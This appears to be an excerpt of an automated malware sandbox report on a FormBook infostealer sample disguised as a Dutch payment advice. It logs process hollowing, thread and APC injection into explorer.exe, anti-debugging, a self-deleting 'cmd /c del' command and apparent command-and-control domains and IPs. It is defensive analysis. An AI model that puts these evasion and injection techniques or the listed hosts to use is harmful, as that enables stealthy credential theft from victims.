Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CAD30 mov eax, dword ptr fs:[00000030h] 7_2_046CAD30
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04778DF1 mov eax, dword ptr fs:[00000030h] 7_2_04778DF1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046DD5E0 mov eax, dword ptr fs:[00000030h] 7_2_046DD5E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046DD5E0 mov eax, dword ptr fs:[00000030h] 7_2_046DD5E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0478FDE2 mov eax, dword ptr fs:[00000030h] 7_2_0478FDE2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0478FDE2 mov eax, dword ptr fs:[00000030h] 7_2_0478FDE2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0478FDE2 mov eax, dword ptr fs:[00000030h] 7_2_0478FDE2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0478FDE2 mov eax, dword ptr fs:[00000030h] 7_2_0478FDE2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746DC9 mov eax, dword ptr fs:[00000030h] 7_2_04746DC9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746DC9 mov eax, dword ptr fs:[00000030h] 7_2_04746DC9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746DC9 mov eax, dword ptr fs:[00000030h] 7_2_04746DC9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746DC9 mov ecx, dword ptr fs:[00000030h] 7_2_04746DC9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746DC9 mov eax, dword ptr fs:[00000030h] 7_2_04746DC9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746DC9 mov eax, dword ptr fs:[00000030h] 7_2_04746DC9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F35A1 mov eax, dword ptr fs:[00000030h] 7_2_046F35A1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047905AC mov eax, dword ptr fs:[00000030h] 7_2_047905AC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047905AC mov eax, dword ptr fs:[00000030h] 7_2_047905AC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F1DB5 mov eax, dword ptr fs:[00000030h] 7_2_046F1DB5
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F1DB5 mov eax, dword ptr fs:[00000030h] 7_2_046F1DB5
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F1DB5 mov eax, dword ptr fs:[00000030h] 7_2_046F1DB5
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C2D8A mov eax, dword ptr fs:[00000030h] 7_2_046C2D8A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C2D8A mov eax, dword ptr fs:[00000030h] 7_2_046C2D8A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C2D8A mov eax, dword ptr fs:[00000030h] 7_2_046C2D8A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C2D8A mov eax, dword ptr fs:[00000030h] 7_2_046C2D8A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C2D8A mov eax, dword ptr fs:[00000030h] 7_2_046C2D8A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F2581 mov eax, dword ptr fs:[00000030h] 7_2_046F2581
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F2581 mov eax, dword ptr fs:[00000030h] 7_2_046F2581
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F2581 mov eax, dword ptr fs:[00000030h] 7_2_046F2581
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F2581 mov eax, dword ptr fs:[00000030h] 7_2_046F2581
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FFD9B mov eax, dword ptr fs:[00000030h] 7_2_046FFD9B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FFD9B mov eax, dword ptr fs:[00000030h] 7_2_046FFD9B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D766D mov eax, dword ptr fs:[00000030h] 7_2_046D766D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046EAE73 mov eax, dword ptr fs:[00000030h] 7_2_046EAE73
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046EAE73 mov eax, dword ptr fs:[00000030h] 7_2_046EAE73
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046EAE73 mov eax, dword ptr fs:[00000030h] 7_2_046EAE73
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046EAE73 mov eax, dword ptr fs:[00000030h] 7_2_046EAE73
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046EAE73 mov eax, dword ptr fs:[00000030h] 7_2_046EAE73
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D7E41 mov eax, dword ptr fs:[00000030h] 7_2_046D7E41
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D7E41 mov eax, dword ptr fs:[00000030h] 7_2_046D7E41
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D7E41 mov eax, dword ptr fs:[00000030h] 7_2_046D7E41
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D7E41 mov eax, dword ptr fs:[00000030h] 7_2_046D7E41
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D7E41 mov eax, dword ptr fs:[00000030h] 7_2_046D7E41
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D7E41 mov eax, dword ptr fs:[00000030h] 7_2_046D7E41
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0478AE44 mov eax, dword ptr fs:[00000030h] 7_2_0478AE44
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0478AE44 mov eax, dword ptr fs:[00000030h] 7_2_0478AE44
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0477FE3F mov eax, dword ptr fs:[00000030h] 7_2_0477FE3F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CE620 mov eax, dword ptr fs:[00000030h] 7_2_046CE620
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CC600 mov eax, dword ptr fs:[00000030h] 7_2_046CC600
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CC600 mov eax, dword ptr fs:[00000030h] 7_2_046CC600
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CC600 mov eax, dword ptr fs:[00000030h] 7_2_046CC600
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F8E00 mov eax, dword ptr fs:[00000030h] 7_2_046F8E00
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781608 mov eax, dword ptr fs:[00000030h] 7_2_04781608
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FA61C mov eax, dword ptr fs:[00000030h] 7_2_046FA61C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FA61C mov eax, dword ptr fs:[00000030h] 7_2_046FA61C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F16E0 mov ecx, dword ptr fs:[00000030h] 7_2_046F16E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D76E2 mov eax, dword ptr fs:[00000030h] 7_2_046D76E2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F36CC mov eax, dword ptr fs:[00000030h] 7_2_046F36CC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04798ED6 mov eax, dword ptr fs:[00000030h] 7_2_04798ED6
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0477FEC0 mov eax, dword ptr fs:[00000030h] 7_2_0477FEC0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04708EC7 mov eax, dword ptr fs:[00000030h] 7_2_04708EC7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047446A7 mov eax, dword ptr fs:[00000030h] 7_2_047446A7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04790EA5 mov eax, dword ptr fs:[00000030h] 7_2_04790EA5
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04790EA5 mov eax, dword ptr fs:[00000030h] 7_2_04790EA5
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04790EA5 mov eax, dword ptr fs:[00000030h] 7_2_04790EA5
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0475FE87 mov eax, dword ptr fs:[00000030h] 7_2_0475FE87
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046DFF60 mov eax, dword ptr fs:[00000030h] 7_2_046DFF60
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04798F6A mov eax, dword ptr fs:[00000030h] 7_2_04798F6A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046DEF40 mov eax, dword ptr fs:[00000030h] 7_2_046DEF40
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C4F2E mov eax, dword ptr fs:[00000030h] 7_2_046C4F2E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C4F2E mov eax, dword ptr fs:[00000030h] 7_2_046C4F2E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FE730 mov eax, dword ptr fs:[00000030h] 7_2_046FE730
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FA70E mov eax, dword ptr fs:[00000030h] 7_2_046FA70E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FA70E mov eax, dword ptr fs:[00000030h] 7_2_046FA70E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0475FF10 mov eax, dword ptr fs:[00000030h] 7_2_0475FF10
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0475FF10 mov eax, dword ptr fs:[00000030h] 7_2_0475FF10
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0479070D mov eax, dword ptr fs:[00000030h] 7_2_0479070D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0479070D mov eax, dword ptr fs:[00000030h] 7_2_0479070D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046EF716 mov eax, dword ptr fs:[00000030h] 7_2_046EF716
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047037F5 mov eax, dword ptr fs:[00000030h] 7_2_047037F5
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04747794 mov eax, dword ptr fs:[00000030h] 7_2_04747794
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04747794 mov eax, dword ptr fs:[00000030h] 7_2_04747794
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04747794 mov eax, dword ptr fs:[00000030h] 7_2_04747794
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D8794 mov eax, dword ptr fs:[00000030h] 7_2_046D8794
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04782073 mov eax, dword ptr fs:[00000030h] 7_2_04782073
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04791074 mov eax, dword ptr fs:[00000030h] 7_2_04791074
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046E0050 mov eax, dword ptr fs:[00000030h] 7_2_046E0050
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046E0050 mov eax, dword ptr fs:[00000030h] 7_2_046E0050
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F002D mov eax, dword ptr fs:[00000030h] 7_2_046F002D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F002D mov eax, dword ptr fs:[00000030h] 7_2_046F002D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F002D mov eax, dword ptr fs:[00000030h] 7_2_046F002D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F002D mov eax, dword ptr fs:[00000030h] 7_2_046F002D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F002D mov eax, dword ptr fs:[00000030h] 7_2_046F002D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046DB02A mov eax, dword ptr fs:[00000030h] 7_2_046DB02A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046DB02A mov eax, dword ptr fs:[00000030h] 7_2_046DB02A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046DB02A mov eax, dword ptr fs:[00000030h] 7_2_046DB02A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046DB02A mov eax, dword ptr fs:[00000030h] 7_2_046DB02A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04747016 mov eax, dword ptr fs:[00000030h] 7_2_04747016
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04747016 mov eax, dword ptr fs:[00000030h] 7_2_04747016
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04747016 mov eax, dword ptr fs:[00000030h] 7_2_04747016
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04794015 mov eax, dword ptr fs:[00000030h] 7_2_04794015
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04794015 mov eax, dword ptr fs:[00000030h] 7_2_04794015
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C58EC mov eax, dword ptr fs:[00000030h] 7_2_046C58EC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0475B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0475B8D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0475B8D0 mov ecx, dword ptr fs:[00000030h] 7_2_0475B8D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0475B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0475B8D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0475B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0475B8D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0475B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0475B8D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0475B8D0 mov eax, dword ptr fs:[00000030h] 7_2_0475B8D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F20A0 mov eax, dword ptr fs:[00000030h] 7_2_046F20A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F20A0 mov eax, dword ptr fs:[00000030h] 7_2_046F20A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F20A0 mov eax, dword ptr fs:[00000030h] 7_2_046F20A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F20A0 mov eax, dword ptr fs:[00000030h] 7_2_046F20A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F20A0 mov eax, dword ptr fs:[00000030h] 7_2_046F20A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F20A0 mov eax, dword ptr fs:[00000030h] 7_2_046F20A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FF0BF mov ecx, dword ptr fs:[00000030h] 7_2_046FF0BF
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FF0BF mov eax, dword ptr fs:[00000030h] 7_2_046FF0BF
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FF0BF mov eax, dword ptr fs:[00000030h] 7_2_046FF0BF
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047090AF mov eax, dword ptr fs:[00000030h] 7_2_047090AF
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C9080 mov eax, dword ptr fs:[00000030h] 7_2_046C9080
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04743884 mov eax, dword ptr fs:[00000030h] 7_2_04743884
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04743884 mov eax, dword ptr fs:[00000030h] 7_2_04743884
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CC962 mov eax, dword ptr fs:[00000030h] 7_2_046CC962
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CB171 mov eax, dword ptr fs:[00000030h] 7_2_046CB171
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CB171 mov eax, dword ptr fs:[00000030h] 7_2_046CB171
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046EB944 mov eax, dword ptr fs:[00000030h] 7_2_046EB944
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046EB944 mov eax, dword ptr fs:[00000030h] 7_2_046EB944
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046E4120 mov eax, dword ptr fs:[00000030h] 7_2_046E4120
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046E4120 mov eax, dword ptr fs:[00000030h] 7_2_046E4120
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046E4120 mov eax, dword ptr fs:[00000030h] 7_2_046E4120
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046E4120 mov eax, dword ptr fs:[00000030h] 7_2_046E4120
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046E4120 mov ecx, dword ptr fs:[00000030h] 7_2_046E4120
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F513A mov eax, dword ptr fs:[00000030h] 7_2_046F513A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F513A mov eax, dword ptr fs:[00000030h] 7_2_046F513A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C9100 mov eax, dword ptr fs:[00000030h] 7_2_046C9100
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C9100 mov eax, dword ptr fs:[00000030h] 7_2_046C9100
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C9100 mov eax, dword ptr fs:[00000030h] 7_2_046C9100
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CB1E1 mov eax, dword ptr fs:[00000030h] 7_2_046CB1E1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CB1E1 mov eax, dword ptr fs:[00000030h] 7_2_046CB1E1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CB1E1 mov eax, dword ptr fs:[00000030h] 7_2_046CB1E1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047541E8 mov eax, dword ptr fs:[00000030h] 7_2_047541E8
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047451BE mov eax, dword ptr fs:[00000030h] 7_2_047451BE
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047451BE mov eax, dword ptr fs:[00000030h] 7_2_047451BE
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047451BE mov eax, dword ptr fs:[00000030h] 7_2_047451BE
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047451BE mov eax, dword ptr fs:[00000030h] 7_2_047451BE
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F61A0 mov eax, dword ptr fs:[00000030h] 7_2_046F61A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F61A0 mov eax, dword ptr fs:[00000030h] 7_2_046F61A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047469A6 mov eax, dword ptr fs:[00000030h] 7_2_047469A6
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FA185 mov eax, dword ptr fs:[00000030h] 7_2_046FA185
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046EC182 mov eax, dword ptr fs:[00000030h] 7_2_046EC182
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F2990 mov eax, dword ptr fs:[00000030h] 7_2_046F2990
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0470927A mov eax, dword ptr fs:[00000030h] 7_2_0470927A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0477B260 mov eax, dword ptr fs:[00000030h] 7_2_0477B260
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0477B260 mov eax, dword ptr fs:[00000030h] 7_2_0477B260
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04798A62 mov eax, dword ptr fs:[00000030h] 7_2_04798A62
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04754257 mov eax, dword ptr fs:[00000030h] 7_2_04754257
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C9240 mov eax, dword ptr fs:[00000030h] 7_2_046C9240
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C9240 mov eax, dword ptr fs:[00000030h] 7_2_046C9240
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C9240 mov eax, dword ptr fs:[00000030h] 7_2_046C9240
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C9240 mov eax, dword ptr fs:[00000030h] 7_2_046C9240
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0478EA55 mov eax, dword ptr fs:[00000030h] 7_2_0478EA55
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04704A2C mov eax, dword ptr fs:[00000030h] 7_2_04704A2C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04704A2C mov eax, dword ptr fs:[00000030h] 7_2_04704A2C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D8A0A mov eax, dword ptr fs:[00000030h] 7_2_046D8A0A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046E3A1C mov eax, dword ptr fs:[00000030h] 7_2_046E3A1C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CAA16 mov eax, dword ptr fs:[00000030h] 7_2_046CAA16
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CAA16 mov eax, dword ptr fs:[00000030h] 7_2_046CAA16
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C5210 mov eax, dword ptr fs:[00000030h] 7_2_046C5210
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C5210 mov ecx, dword ptr fs:[00000030h] 7_2_046C5210
Enables debug privileges
Source: C:\Users\user\Desktop\Betaling_advies.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 198.54.117.218 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 52.128.23.153 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.ladybugtubs.com
Source: C:\Windows\explorer.exe Domain query: www.kathyscrabhouse.com
Source: C:\Windows\explorer.exe Domain query: www.boulderhalle-hamburg.com
Source: C:\Windows\explorer.exe Network Connect: 192.187.111.219 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.osaka-computer.net
Source: C:\Windows\explorer.exe Network Connect: 107.178.109.19 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 81.169.145.150 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 156.241.53.253 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.neutrasystems.com
Source: C:\Windows\explorer.exe Network Connect: 35.208.69.149 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.allwest-originals.com
Source: C:\Windows\explorer.exe Domain query: www.thenewyorker.computer
Source: C:\Windows\explorer.exe Domain query: www.loanascustomboutique.com
Source: C:\Windows\explorer.exe Domain query: www.werealestatephotography.com
Source: C:\Windows\explorer.exe Network Connect: 35.246.6.109 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.wellalytics.com
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.themusasoficial.com
Source: C:\Windows\explorer.exe Domain query: www.specstrii.com
Source: C:\Windows\explorer.exe Domain query: www.organicfarmteam.com
Source: C:\Windows\explorer.exe Domain query: www.dfch18.com
Contains functionality to prevent local Windows debugging
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_72AD1000 Ivlfdpdlcleoxmzl,IsDebuggerPresent,DebugBreak,GetTempPathW,lstrcatW,CreateFileW,GetFileSize,VirtualAlloc,ReadFile, 0_2_72AD1000
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\Betaling_advies.exe Section loaded: unknown target: C:\Users\user\Desktop\Betaling_advies.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Betaling_advies.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Betaling_advies.exe Section loaded: unknown target: C:\Windows\SysWOW64\colorcpl.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Betaling_advies.exe Section loaded: unknown target: C:\Windows\SysWOW64\colorcpl.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\Betaling_advies.exe Thread register set: target process: 3424 Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe Thread register set: target process: 3424 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\Betaling_advies.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\Betaling_advies.exe Section unmapped: C:\Windows\SysWOW64\colorcpl.exe base address: 180000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Betaling_advies.exe Process created: C:\Users\user\Desktop\Betaling_advies.exe 'C:\Users\user\Desktop\Betaling_advies.exe' Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Betaling_advies.exe' Jump to behavior
Source: explorer.exe, 00000004.00000000.653956972.0000000000AD8000.00000004.00000020.sdmp Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000004.00000002.910233806.0000000001080000.00000002.00000001.sdmp, colorcpl.exe, 00000007.00000002.910575342.0000000002F50000.00000002.00000001.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000004.00000000.667363624.0000000005E50000.00000004.00000001.sdmp, colorcpl.exe, 00000007.00000002.910575342.0000000002F50000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000002.910233806.0000000001080000.00000002.00000001.sdmp, colorcpl.exe, 00000007.00000002.910575342.0000000002F50000.00000002.00000001.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000004.00000002.910233806.0000000001080000.00000002.00000001.sdmp, colorcpl.exe, 00000007.00000002.910575342.0000000002F50000.00000002.00000001.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000004.00000000.670564203.000000000A716000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWnd5D

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 00000001.00000001.650199576.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.691540714.00000000009C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.654811569.0000000002680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.910277347.0000000002530000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.690806042.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.692667485.0000000000D40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.909643904.0000000000320000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0.2.Betaling_advies.exe.2680000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Betaling_advies.exe.2680000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

barindex
